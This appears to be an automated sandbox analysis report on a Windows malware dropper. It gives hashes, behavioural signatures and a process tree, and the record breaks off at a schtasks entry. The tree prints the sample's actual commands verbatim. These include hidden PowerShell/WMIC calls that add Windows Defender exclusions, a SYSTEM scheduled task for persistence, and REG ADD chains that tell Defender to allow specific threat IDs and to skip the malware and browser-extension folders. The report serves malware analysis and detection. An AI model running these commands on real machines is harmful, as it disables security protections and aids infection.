Analysis

  • max time kernel
    92s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2024, 05:01

General

  • Target

    106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe

  • Size

    6.9MB

  • MD5

    1d2f8f1f8f977ac2ce5c7d69142d92c9

  • SHA1

    5a07aa99a86a66239204bd684894a080bf5b87fa

  • SHA256

    106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035

  • SHA512

    2089a48f6798257358e43e0e0cda66934405ba212da14c311c4deb52b382db1578d28b8ccc8f4e347f4f8b120081e05b83c3f4d9df0a3df1b3d1228ff34ed4e0

  • SSDEEP

    196608:91OShrfn90vjbQL0MZMFoENqo0C029v7CGQp0wooD/:3OWrojkLwFo51ETCGa0woa/

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe
    "C:\Users\Admin\AppData\Local\Temp\106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Users\Admin\AppData\Local\Temp\7zS4BED.tmp\Install.exe
      .\Install.exe /AdidysikD "385118" /S
      2⤵
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:4076
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4824
        • C:\Windows\SysWOW64\cmd.exe
          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4628
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3584
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4916
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "bpJjqbWMDOjxkYrvBb" /SC once /ST 05:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\zZhIfWQ.exe\" Oz /exsite_idTMA 385118 /S" /V1 /F
        3⤵
        • Drops file in Windows directory
        • Creates scheduled task(s)
        PID:964
  • C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\zZhIfWQ.exe
    C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\zZhIfWQ.exe Oz /exsite_idTMA 385118 /S
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3092
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2120
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4720
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:1996
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:5084
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:4348
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:3656
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:4484
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:2064
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:1924
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:2912
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:3300
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:1604
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:4328
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:1044
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:2396
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4940
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:1372
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:3804
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:5008
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:4948
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:2264
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:3260
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2716
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:848
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:1984
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:3212
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3504
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:3240
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:3148
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:5112
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:920
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:4368
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:4880
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:2812
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:4540
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:2768
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:1712
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:3476
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:532
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:836
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:544
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:4728
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:4472
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:3544
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:5040
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:2924
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:4716
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:1496
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2876
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:2796
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:2960
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:2628
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
